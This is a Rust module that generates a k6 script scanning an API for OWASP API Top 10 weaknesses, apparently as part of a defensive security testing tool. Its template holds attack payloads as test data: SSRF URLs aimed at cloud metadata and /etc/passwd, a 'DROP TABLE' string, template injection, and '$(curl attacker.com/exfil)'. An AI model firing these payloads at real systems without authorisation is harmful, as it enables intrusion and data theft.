mockforge_bench/owasp_api/
generator.rs

1//! OWASP API Security k6 Script Generator
2//!
3//! This module generates k6 JavaScript code for running OWASP API
4//! security tests against target endpoints.
5
6use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::security_payloads::escape_js_string;
11use crate::spec_parser::SpecParser;
12use handlebars::Handlebars;
13use serde_json::{json, Value};
14use std::collections::HashMap;
15
16/// Generator for OWASP API security test scripts
17pub struct OwaspApiGenerator {
18    /// OWASP API configuration
19    config: OwaspApiConfig,
20    /// Target base URL
21    target_url: String,
22    /// Parsed OpenAPI operations
23    operations: Vec<OperationInfo>,
24}
25
26/// Information about an API operation
27#[derive(Debug, Clone)]
28pub struct OperationInfo {
29    /// HTTP method
30    pub method: String,
31    /// Path template (e.g., /users/{id})
32    pub path: String,
33    /// Operation ID
34    pub operation_id: Option<String>,
35    /// Path parameters
36    pub path_params: Vec<PathParam>,
37    /// Query parameters
38    pub query_params: Vec<QueryParam>,
39    /// Whether operation has request body
40    pub has_body: bool,
41    /// Content type
42    pub content_type: Option<String>,
43    /// Security requirements (if any)
44    pub requires_auth: bool,
45    /// Tags
46    pub tags: Vec<String>,
47}
48
49/// Path parameter info
50#[derive(Debug, Clone)]
51pub struct PathParam {
52    pub name: String,
53    pub param_type: String,
54    pub example: Option<String>,
55}
56
57/// Query parameter info
58#[derive(Debug, Clone)]
59pub struct QueryParam {
60    pub name: String,
61    pub param_type: String,
62    pub required: bool,
63}
64
65impl OwaspApiGenerator {
66    /// Create a new OWASP API generator
67    pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
68        let operations = Self::extract_operations(parser);
69        Self {
70            config,
71            target_url,
72            operations,
73        }
74    }
75
76    /// Extract operations from the spec parser
77    fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
78        parser
79            .get_operations()
80            .into_iter()
81            .map(|op| {
82                // Extract path parameters from the path
83                let path_params: Vec<PathParam> = op
84                    .path
85                    .split('/')
86                    .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
87                    .map(|segment| {
88                        let name = segment.trim_start_matches('{').trim_end_matches('}');
89                        PathParam {
90                            name: name.to_string(),
91                            param_type: "string".to_string(),
92                            example: None,
93                        }
94                    })
95                    .collect();
96
97                OperationInfo {
98                    method: op.method.to_uppercase(),
99                    path: op.path.clone(),
100                    operation_id: op.operation_id.clone(),
101                    path_params,
102                    query_params: Vec::new(),
103                    has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
104                    content_type: Some("application/json".to_string()),
105                    requires_auth: true, // Assume auth required by default
106                    tags: op.operation.tags.clone(),
107                }
108            })
109            .collect()
110    }
111
112    /// Generate the complete k6 security test script
113    pub fn generate(&self) -> Result<String> {
114        let mut handlebars = Handlebars::new();
115
116        // Register custom helpers
117        handlebars.register_helper("contains", Box::new(contains_helper));
118        handlebars.register_helper("eq", Box::new(eq_helper));
119
120        let template = self.get_script_template();
121        let data = self.build_template_data()?;
122
123        handlebars
124            .render_template(&template, &data)
125            .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
126    }
127
128    /// Build template data for rendering
129    fn build_template_data(&self) -> Result<Value> {
130        let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
131        let mut test_cases: Vec<Value> = Vec::new();
132
133        // Generate test cases for each category
134        for category in self.config.categories_to_test() {
135            let category_tests = self.generate_category_tests(category, &payload_generator)?;
136            test_cases.extend(category_tests);
137        }
138
139        // Pre-compute which categories are enabled for simple template conditionals
140        let categories = self.config.categories_to_test();
141        let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
142        let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
143        let test_api3 =
144            categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
145        let test_api4 =
146            categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
147        let test_api5 =
148            categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
149        let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
150        let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
151        let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
152        let test_api9 =
153            categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
154        let test_api10 =
155            categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
156
157        // Helper to prepend base_path to API paths
158        let base_path = self.config.base_path.clone().unwrap_or_default();
159        let build_path = |path: &str| -> String {
160            if base_path.is_empty() {
161                path.to_string()
162            } else {
163                format!("{}{}", base_path.trim_end_matches('/'), path)
164            }
165        };
166
167        // Pre-compute operations with path parameters for BOLA testing
168        let ops_with_path_params: Vec<Value> = self
169            .operations
170            .iter()
171            .filter(|op| op.path.contains('{'))
172            .map(|op| {
173                json!({
174                    "method": op.method.to_lowercase(),
175                    "path": build_path(&op.path),
176                })
177            })
178            .collect();
179
180        // Pre-compute GET operations for method override testing
181        let get_operations: Vec<Value> = self
182            .operations
183            .iter()
184            .filter(|op| op.method.to_lowercase() == "get")
185            .map(|op| {
186                json!({
187                    "method": op.method.to_lowercase(),
188                    "path": build_path(&op.path),
189                })
190            })
191            .collect();
192
193        // Escape auth header and token values for safe use in JavaScript strings
194        let auth_header_name = escape_js_string(&self.config.auth_header);
195        let valid_auth_token = self.config.valid_auth_token.as_ref().map(|t| escape_js_string(t));
196
197        Ok(json!({
198            "base_url": self.target_url,
199            "auth_header_name": auth_header_name,
200            "valid_auth_token": valid_auth_token,
201            "concurrency": self.config.concurrency,
202            "iterations": self.config.iterations,
203            "timeout_ms": self.config.timeout_ms,
204            "report_path": self.config.report_path.to_string_lossy(),
205            "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
206            "test_cases": test_cases,
207            "operations": self.operations.iter().map(|op| json!({
208                "method": op.method.to_lowercase(),
209                "path": build_path(&op.path),
210                "operation_id": op.operation_id,
211                "has_body": op.has_body,
212                "requires_auth": op.requires_auth,
213                "has_path_params": op.path.contains('{'),
214            })).collect::<Vec<_>>(),
215            "ops_with_path_params": ops_with_path_params,
216            "get_operations": get_operations,
217            "verbose": self.config.verbose,
218            "insecure": self.config.insecure,
219            // Custom headers from CLI (e.g., Cookie, X-Custom-Header)
220            "custom_headers": self.config.custom_headers.iter()
221                .map(|(k, v)| json!({"name": escape_js_string(k), "value": escape_js_string(v)}))
222                .collect::<Vec<_>>(),
223            "has_custom_headers": !self.config.custom_headers.is_empty(),
224            // Category flags for simple conditionals
225            "test_api1": test_api1,
226            "test_api2": test_api2,
227            "test_api3": test_api3,
228            "test_api4": test_api4,
229            "test_api5": test_api5,
230            "test_api6": test_api6,
231            "test_api7": test_api7,
232            "test_api8": test_api8,
233            "test_api9": test_api9,
234            "test_api10": test_api10,
235        }))
236    }
237
238    /// Generate test cases for a specific category
239    fn generate_category_tests(
240        &self,
241        category: OwaspCategory,
242        payload_generator: &OwaspPayloadGenerator,
243    ) -> Result<Vec<Value>> {
244        let payloads = payload_generator.generate_for_category(category);
245        let mut tests = Vec::new();
246
247        for payload in payloads {
248            // Match payloads to appropriate operations
249            let applicable_ops = self.get_applicable_operations(&payload);
250
251            for op in applicable_ops {
252                tests.push(json!({
253                    "category": category.cli_name(),
254                    "category_name": category.short_name(),
255                    "description": payload.description,
256                    "method": op.method.to_lowercase(),
257                    "path": op.path,
258                    "payload": payload.value,
259                    "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
260                    "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
261                    "notes": payload.notes,
262                }));
263            }
264        }
265
266        Ok(tests)
267    }
268
269    /// Get operations applicable for a payload
270    fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
271        match payload.injection_point {
272            InjectionPoint::PathParam => {
273                // Only operations with path parameters
274                self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
275            }
276            InjectionPoint::Body => {
277                // Only operations that accept a body
278                self.operations.iter().filter(|op| op.has_body).collect()
279            }
280            InjectionPoint::Header | InjectionPoint::Omit => {
281                // All operations that require auth
282                self.operations.iter().filter(|op| op.requires_auth).collect()
283            }
284            InjectionPoint::QueryParam => {
285                // All operations (can add query params to any)
286                self.operations.iter().collect()
287            }
288            InjectionPoint::Modify => {
289                // Depends on payload - return all for now
290                self.operations.iter().collect()
291            }
292        }
293    }
294
295    /// Get the k6 script template
296    fn get_script_template(&self) -> String {
297        r#"// OWASP API Security Top 10 Test Script
298// Generated by MockForge - https://mockforge.dev
299// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
300
301import http from 'k6/http';
302import { check, sleep, group } from 'k6';
303import { Trend, Counter, Rate } from 'k6/metrics';
304
305// Configuration
306const BASE_URL = '{{{base_url}}}';
307const AUTH_HEADER = '{{{auth_header_name}}}';
308{{#if valid_auth_token}}
309const VALID_TOKEN = '{{{valid_auth_token}}}';
310{{else}}
311const VALID_TOKEN = null;
312{{/if}}
313const TIMEOUT = '{{timeout_ms}}ms';
314const VERBOSE = {{verbose}};
315const INSECURE = {{insecure}};
316
317// Custom headers from CLI (e.g., Cookie, X-Custom-Header)
318const CUSTOM_HEADERS = {
319{{#each custom_headers}}
320    '{{{name}}}': '{{{value}}}',
321{{/each}}
322};
323
324// Custom metrics
325const findingsCounter = new Counter('owasp_findings');
326const testsRun = new Counter('owasp_tests_run');
327const vulnerableRate = new Rate('owasp_vulnerable_rate');
328const responseTime = new Trend('owasp_response_time');
329
330// Test options - use per-VU iterations scenario for controlled test runs
331export const options = {
332    scenarios: {
333        owasp_security_test: {
334            executor: 'per-vu-iterations',
335            vus: {{concurrency}},
336            iterations: {{iterations}},  // Iterations per VU
337            maxDuration: '30m',
338        },
339    },
340    thresholds: {
341        'owasp_findings': ['count<100'], // Alert if too many findings
342    },
343    insecureSkipTLSVerify: INSECURE,
344};
345
346// Findings storage
347const findings = [];
348
349// Helper: Log a finding
350function logFinding(category, endpoint, method, description, evidence) {
351    const finding = {
352        category,
353        endpoint,
354        method,
355        description,
356        evidence,
357        timestamp: new Date().toISOString(),
358    };
359    findings.push(finding);
360    findingsCounter.add(1);
361    vulnerableRate.add(1);
362
363    if (VERBOSE) {
364        console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
365    }
366}
367
368// Helper: Log test passed
369function logPass(category, endpoint, method) {
370    vulnerableRate.add(0);
371    if (VERBOSE) {
372        console.log(`[PASS] ${category} - ${method} ${endpoint}`);
373    }
374}
375
376// Helper: Generate a random UUID for path parameters
377// Uses crypto.randomUUID() which is globally available in k6 v1.0.0+
378function generateRandomId() {
379    return crypto.randomUUID();
380}
381
382// Helper: Replace path parameters with random UUIDs
383// Replaces all {param} patterns with new random UUIDs
384function replacePathParams(path) {
385    return path.replace(/{[^}]+}/g, () => generateRandomId());
386}
387
388// Helper: Make authenticated request
389function authRequest(method, url, body, additionalHeaders = {}) {
390    const headers = {
391        'Content-Type': 'application/json',
392        ...CUSTOM_HEADERS,
393        ...additionalHeaders,
394    };
395
396    if (VALID_TOKEN) {
397        headers[AUTH_HEADER] = VALID_TOKEN;
398    }
399
400    const params = {
401        headers,
402        timeout: TIMEOUT,
403    };
404
405    // k6 uses 'del' instead of 'delete'
406    const httpMethod = method === 'delete' ? 'del' : method;
407
408    if (httpMethod === 'get' || httpMethod === 'head') {
409        return http[httpMethod](url, params);
410    } else {
411        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
412    }
413}
414
415// Helper: Make unauthenticated request
416function unauthRequest(method, url, body, additionalHeaders = {}) {
417    const headers = {
418        'Content-Type': 'application/json',
419        ...CUSTOM_HEADERS,
420        ...additionalHeaders,
421    };
422
423    const params = {
424        headers,
425        timeout: TIMEOUT,
426    };
427
428    // k6 uses 'del' instead of 'delete'
429    const httpMethod = method === 'delete' ? 'del' : method;
430
431    if (httpMethod === 'get' || httpMethod === 'head') {
432        return http[httpMethod](url, params);
433    } else {
434        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
435    }
436}
437
438// API1: Broken Object Level Authorization (BOLA)
439function testBola() {
440    group('API1 - BOLA', function() {
441        console.log('[API1] Testing Broken Object Level Authorization...');
442
443        {{#each operations}}
444        {{#if has_path_params}}
445        // Test {{path}}
446        {
447            // Generate different random UUIDs for each test
448            const originalId = generateRandomId();
449            const targetId = generateRandomId();
450            const originalPath = '{{path}}'.replace(/{[^}]+}/g, originalId);
451            const targetPath = '{{path}}'.replace(/{[^}]+}/g, targetId);
452
453            if (VERBOSE) {
454                console.log(`[API1] Testing with IDs: ${originalId} -> ${targetId}`);
455            }
456
457            // Get baseline with first random ID
458            const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
459
460            // Try to access different random ID (simulating another user's resource)
461            const response = authRequest('{{method}}', BASE_URL + targetPath, null);
462            testsRun.add(1);
463            responseTime.add(response.timings.duration);
464
465            if (response.status >= 200 && response.status < 300) {
466                // Check if we got different data (potential BOLA vulnerability)
467                if (response.body !== baseline.body && response.body.length > 0) {
468                    logFinding('api1', '{{path}}', '{{method}}',
469                        'ID manipulation accepted - accessed different resource',
470                        { status: response.status, originalId, targetId, bodyLength: response.body.length });
471                } else {
472                    logPass('api1', '{{path}}', '{{method}}');
473                }
474            } else {
475                logPass('api1', '{{path}}', '{{method}}');
476            }
477        }
478        {{/if}}
479        {{/each}}
480    });
481}
482
483// API2: Broken Authentication
484function testBrokenAuth() {
485    group('API2 - Broken Authentication', function() {
486        console.log('[API2] Testing Broken Authentication...');
487
488        {{#each operations}}
489        {{#if requires_auth}}
490        // Test {{path}} without auth
491        {
492            const testPath = replacePathParams('{{path}}');
493            const response = unauthRequest('{{method}}', BASE_URL + testPath, null);
494            testsRun.add(1);
495            responseTime.add(response.timings.duration);
496
497            if (response.status >= 200 && response.status < 300) {
498                logFinding('api2', '{{path}}', '{{method}}',
499                    'Endpoint accessible without authentication',
500                    { status: response.status });
501            } else {
502                logPass('api2', '{{path}}', '{{method}}');
503            }
504        }
505
506        // Test {{path}} with empty token
507        {
508            const testPath = replacePathParams('{{path}}');
509            const httpMethod = '{{method}}' === 'delete' ? 'del' : '{{method}}';
510            const makeEmptyTokenRequest = (m, url, body, params) => {
511                if (m === 'get' || m === 'head') return http[m](url, params);
512                return http[m](url, body, params);
513            };
514            const response = makeEmptyTokenRequest(httpMethod, BASE_URL + testPath, null, {
515                headers: { [AUTH_HEADER]: 'Bearer ' },
516                timeout: TIMEOUT,
517            });
518            testsRun.add(1);
519
520            if (response.status >= 200 && response.status < 300) {
521                logFinding('api2', '{{path}}', '{{method}}',
522                    'Endpoint accessible with empty Bearer token',
523                    { status: response.status });
524            }
525        }
526        {{/if}}
527        {{/each}}
528    });
529}
530
531// API3: Broken Object Property Level Authorization (Mass Assignment)
532function testMassAssignment() {
533    group('API3 - Mass Assignment', function() {
534        console.log('[API3] Testing Mass Assignment...');
535
536        const massAssignmentPayloads = [
537            { role: 'admin' },
538            { is_admin: true },
539            { isAdmin: true },
540            { permissions: ['admin', 'write', 'delete'] },
541            { verified: true },
542            { email_verified: true },
543            { balance: 999999 },
544        ];
545
546        {{#each operations}}
547        {{#if has_body}}
548        // Test {{path}}
549        {
550            const testPath = replacePathParams('{{path}}');
551            massAssignmentPayloads.forEach(payload => {
552                const response = authRequest('{{method}}', BASE_URL + testPath, payload);
553                testsRun.add(1);
554                responseTime.add(response.timings.duration);
555
556                if (response.status >= 200 && response.status < 300) {
557                    // Check if unauthorized field appears in response
558                    const responseBody = response.body.toLowerCase();
559                    const payloadKey = Object.keys(payload)[0].toLowerCase();
560
561                    if (responseBody.includes(payloadKey)) {
562                        logFinding('api3', '{{path}}', '{{method}}',
563                            `Mass assignment accepted: ${payloadKey}`,
564                            { status: response.status, payload });
565                    } else {
566                        logPass('api3', '{{path}}', '{{method}}');
567                    }
568                }
569            });
570        }
571        {{/if}}
572        {{/each}}
573    });
574}
575
576// API4: Unrestricted Resource Consumption
577function testResourceConsumption() {
578    group('API4 - Resource Consumption', function() {
579        console.log('[API4] Testing Resource Consumption...');
580
581        {{#each operations}}
582        // Test {{path}} with excessive limit
583        {
584            const testPath = replacePathParams('{{path}}');
585            const url = BASE_URL + testPath + '?limit=100000&per_page=100000';
586            const response = authRequest('{{method}}', url, null);
587            testsRun.add(1);
588            responseTime.add(response.timings.duration);
589
590            // Check for rate limit headers
591            const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
592                                response.headers['x-ratelimit-limit'] ||
593                                response.headers['RateLimit-Limit'];
594
595            if (response.status === 429) {
596                logPass('api4', '{{path}}', '{{method}}');
597            } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
598                logFinding('api4', '{{path}}', '{{method}}',
599                    'No rate limiting detected',
600                    { status: response.status, hasRateLimitHeader: !!hasRateLimit });
601            } else {
602                logPass('api4', '{{path}}', '{{method}}');
603            }
604        }
605        {{/each}}
606    });
607}
608
609// API5: Broken Function Level Authorization
610function testFunctionAuth() {
611    group('API5 - Function Authorization', function() {
612        console.log('[API5] Testing Function Level Authorization...');
613
614        const adminPaths = [
615            '/admin',
616            '/admin/users',
617            '/admin/settings',
618            '/api/admin',
619            '/internal',
620            '/management',
621        ];
622
623        adminPaths.forEach(path => {
624            const response = authRequest('get', BASE_URL + path, null);
625            testsRun.add(1);
626            responseTime.add(response.timings.duration);
627
628            if (response.status >= 200 && response.status < 300) {
629                logFinding('api5', path, 'GET',
630                    'Admin endpoint accessible',
631                    { status: response.status });
632            } else if (response.status === 403 || response.status === 401) {
633                logPass('api5', path, 'GET');
634            }
635        });
636
637        // Also test changing methods on read-only endpoints
638        {{#each get_operations}}
639        {
640            const testPath = replacePathParams('{{path}}');
641            const response = authRequest('delete', BASE_URL + testPath, null);
642            testsRun.add(1);
643
644            if (response.status >= 200 && response.status < 300) {
645                logFinding('api5', '{{path}}', 'DELETE',
646                    'DELETE method allowed on read-only endpoint',
647                    { status: response.status });
648            }
649        }
650        {{/each}}
651    });
652}
653
654// API7: Server Side Request Forgery (SSRF)
655function testSsrf() {
656    group('API7 - SSRF', function() {
657        console.log('[API7] Testing Server Side Request Forgery...');
658
659        const ssrfPayloads = [
660            'http://localhost/',
661            'http://127.0.0.1/',
662            'http://169.254.169.254/latest/meta-data/',
663            'http://[::1]/',
664            'file:///etc/passwd',
665        ];
666
667        {{#each operations}}
668        {{#if has_body}}
669        // Test {{path}} with SSRF payloads
670        {
671            const testPath = replacePathParams('{{path}}');
672            ssrfPayloads.forEach(payload => {
673                const body = {
674                    url: payload,
675                    webhook_url: payload,
676                    callback: payload,
677                    image_url: payload,
678                };
679
680                const response = authRequest('{{method}}', BASE_URL + testPath, body);
681                testsRun.add(1);
682                responseTime.add(response.timings.duration);
683
684                if (response.status >= 200 && response.status < 300) {
685                    // Check for indicators of internal access
686                    const bodyLower = response.body.toLowerCase();
687                    const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
688
689                    if (internalIndicators.some(ind => bodyLower.includes(ind))) {
690                        logFinding('api7', '{{path}}', '{{method}}',
691                            `SSRF vulnerability - internal data exposed with payload: ${payload}`,
692                            { status: response.status, payload });
693                    }
694                }
695            });
696        }
697        {{/if}}
698        {{/each}}
699    });
700}
701
702// API8: Security Misconfiguration
703function testMisconfiguration() {
704    group('API8 - Security Misconfiguration', function() {
705        console.log('[API8] Testing Security Misconfiguration...');
706
707        {{#each operations}}
708        // Test {{path}} for security headers
709        {
710            const testPath = replacePathParams('{{path}}');
711            const response = authRequest('{{method}}', BASE_URL + testPath, null);
712            testsRun.add(1);
713            responseTime.add(response.timings.duration);
714
715            const missingHeaders = [];
716
717            if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
718                missingHeaders.push('X-Content-Type-Options');
719            }
720            if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
721                missingHeaders.push('X-Frame-Options');
722            }
723            if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
724                missingHeaders.push('Strict-Transport-Security');
725            }
726
727            // Check for overly permissive CORS
728            const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
729            if (acao === '*') {
730                logFinding('api8', '{{path}}', '{{method}}',
731                    'CORS allows all origins (Access-Control-Allow-Origin: *)',
732                    { status: response.status });
733            }
734
735            if (missingHeaders.length > 0) {
736                logFinding('api8', '{{path}}', '{{method}}',
737                    `Missing security headers: ${missingHeaders.join(', ')}`,
738                    { status: response.status, missingHeaders });
739            }
740        }
741        {{/each}}
742
743        // Test for verbose errors
744        {{#each operations}}
745        {{#if has_body}}
746        {
747            const testPath = replacePathParams('{{path}}');
748            const malformedBody = '{"invalid": "json';
749            const response = http.{{method}}(BASE_URL + testPath, malformedBody, {
750                headers: { 'Content-Type': 'application/json' },
751                timeout: TIMEOUT,
752            });
753            testsRun.add(1);
754
755            const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
756            const bodyLower = response.body.toLowerCase();
757
758            if (errorIndicators.some(ind => bodyLower.includes(ind))) {
759                logFinding('api8', '{{path}}', '{{method}}',
760                    'Verbose error messages exposed',
761                    { status: response.status });
762            }
763        }
764        {{/if}}
765        {{/each}}
766    });
767}
768
769// API9: Improper Inventory Management
770function testInventory() {
771    group('API9 - Inventory Management', function() {
772        console.log('[API9] Testing Improper Inventory Management...');
773
774        const discoveryPaths = [
775            '/swagger',
776            '/swagger-ui',
777            '/swagger.json',
778            '/api-docs',
779            '/openapi',
780            '/openapi.json',
781            '/graphql',
782            '/graphiql',
783            '/debug',
784            '/actuator',
785            '/actuator/health',
786            '/actuator/env',
787            '/metrics',
788            '/.env',
789            '/config',
790        ];
791
792        const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
793
794        discoveryPaths.forEach(path => {
795            const response = http.get(BASE_URL + path, { timeout: TIMEOUT });
796            testsRun.add(1);
797            responseTime.add(response.timings.duration);
798
799            if (response.status !== 404) {
800                logFinding('api9', path, 'GET',
801                    `Undocumented endpoint discovered (HTTP ${response.status})`,
802                    { status: response.status });
803            }
804        });
805
806        // Check for old API versions
807        apiVersions.forEach(version => {
808            const response = http.get(BASE_URL + '/' + version + '/', { timeout: TIMEOUT });
809            testsRun.add(1);
810
811            if (response.status !== 404) {
812                logFinding('api9', '/' + version + '/', 'GET',
813                    `API version endpoint exists (HTTP ${response.status})`,
814                    { status: response.status });
815            }
816        });
817    });
818}
819
820// API10: Unsafe Consumption of APIs
821function testUnsafeConsumption() {
822    group('API10 - Unsafe Consumption', function() {
823        console.log('[API10] Testing Unsafe Consumption...');
824
825        const injectionPayloads = [
826            { external_id: "'; DROP TABLE users;--" },
827            { integration_data: "$(curl attacker.com/exfil)" },
828            { template: "\{{7*7}}" },
829            { webhook_url: "http://127.0.0.1:8080/internal" },
830        ];
831
832        {{#each operations}}
833        {{#if has_body}}
834        // Test {{path}} with injection payloads
835        {
836            const testPath = replacePathParams('{{path}}');
837            injectionPayloads.forEach(payload => {
838                const response = authRequest('{{method}}', BASE_URL + testPath, payload);
839                testsRun.add(1);
840                responseTime.add(response.timings.duration);
841
842                // Check if payload was processed (e.g., SSTI returning 49)
843                if (response.body.includes('49')) {
844                    logFinding('api10', '{{path}}', '{{method}}',
845                        'Server-side template injection detected',
846                        { status: response.status, payload });
847                }
848            });
849        }
850        {{/if}}
851        {{/each}}
852    });
853}
854
855// Main test function
856export default function() {
857    console.log('Starting OWASP API Top 10 Security Scan...');
858    console.log('Target: ' + BASE_URL);
859    console.log('');
860
861    {{#if test_api1}}
862    testBola();
863    {{/if}}
864    {{#if test_api2}}
865    testBrokenAuth();
866    {{/if}}
867    {{#if test_api3}}
868    testMassAssignment();
869    {{/if}}
870    {{#if test_api4}}
871    testResourceConsumption();
872    {{/if}}
873    {{#if test_api5}}
874    testFunctionAuth();
875    {{/if}}
876    {{#if test_api7}}
877    testSsrf();
878    {{/if}}
879    {{#if test_api8}}
880    testMisconfiguration();
881    {{/if}}
882    {{#if test_api9}}
883    testInventory();
884    {{/if}}
885    {{#if test_api10}}
886    testUnsafeConsumption();
887    {{/if}}
888
889    sleep(0.1);
890}
891
892// Teardown: Output results
893export function teardown(data) {
894    console.log('');
895    console.log('='.repeat(50));
896    console.log('OWASP API Top 10 Scan Complete');
897    console.log('='.repeat(50));
898    console.log('Total findings: ' + findings.length);
899
900    if (findings.length > 0) {
901        console.log('');
902        console.log('Findings by category:');
903        const byCategory = {};
904        findings.forEach(f => {
905            byCategory[f.category] = (byCategory[f.category] || 0) + 1;
906        });
907        Object.entries(byCategory).forEach(([cat, count]) => {
908            console.log('  ' + cat + ': ' + count);
909        });
910    }
911
912    // Write JSON report
913    console.log('');
914    console.log('Report written to: {{report_path}}');
915}
916"#.to_string()
917    }
918}
919
920/// Handlebars helper to check if a string contains a substring
921fn contains_helper(
922    h: &handlebars::Helper,
923    _: &Handlebars,
924    _: &handlebars::Context,
925    _: &mut handlebars::RenderContext,
926    out: &mut dyn handlebars::Output,
927) -> handlebars::HelperResult {
928    let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
929    let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
930    let result = param1.contains(param2);
931    out.write(&result.to_string())?;
932    Ok(())
933}
934
935/// Handlebars helper to check equality
936fn eq_helper(
937    h: &handlebars::Helper,
938    _: &Handlebars,
939    _: &handlebars::Context,
940    _: &mut handlebars::RenderContext,
941    out: &mut dyn handlebars::Output,
942) -> handlebars::HelperResult {
943    let param1 = h.param(0).map(|v| v.value());
944    let param2 = h.param(1).map(|v| v.value());
945    let result = param1 == param2;
946    out.write(&result.to_string())?;
947    Ok(())
948}
949
950#[cfg(test)]
951mod tests {
952    use super::*;
953
954    #[test]
955    fn test_generator_creation() {
956        // This would need a mock SpecParser
957        // For now just test that the template is valid
958        let template = r#"
959        {{#each operations}}
960        // {{method}} {{path}}
961        {{/each}}
962        "#;
963
964        let handlebars = Handlebars::new();
965        let data = json!({
966            "operations": [
967                { "method": "GET", "path": "/users" },
968                { "method": "POST", "path": "/users" },
969            ]
970        });
971
972        let result = handlebars.render_template(template, &data);
973        assert!(result.is_ok());
974    }
975
976    #[test]
977    fn test_script_template_renders() {
978        let config = OwaspApiConfig::default()
979            .with_categories([OwaspCategory::Api1Bola])
980            .with_valid_auth_token("Bearer test123");
981
982        let template = r#"
983const AUTH = '{{auth_header_name}}';
984const TOKEN = '{{valid_auth_token}}';
985{{#each categories_tested}}
986// Testing: {{this}}
987{{/each}}
988        "#;
989
990        let handlebars = Handlebars::new();
991        let data = json!({
992            "auth_header_name": config.auth_header,
993            "valid_auth_token": config.valid_auth_token,
994            "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
995        });
996
997        let result = handlebars.render_template(template, &data).unwrap();
998        assert!(result.contains("Authorization"));
999        assert!(result.contains("Bearer test123"));
1000        assert!(result.contains("api1"));
1001    }
1002}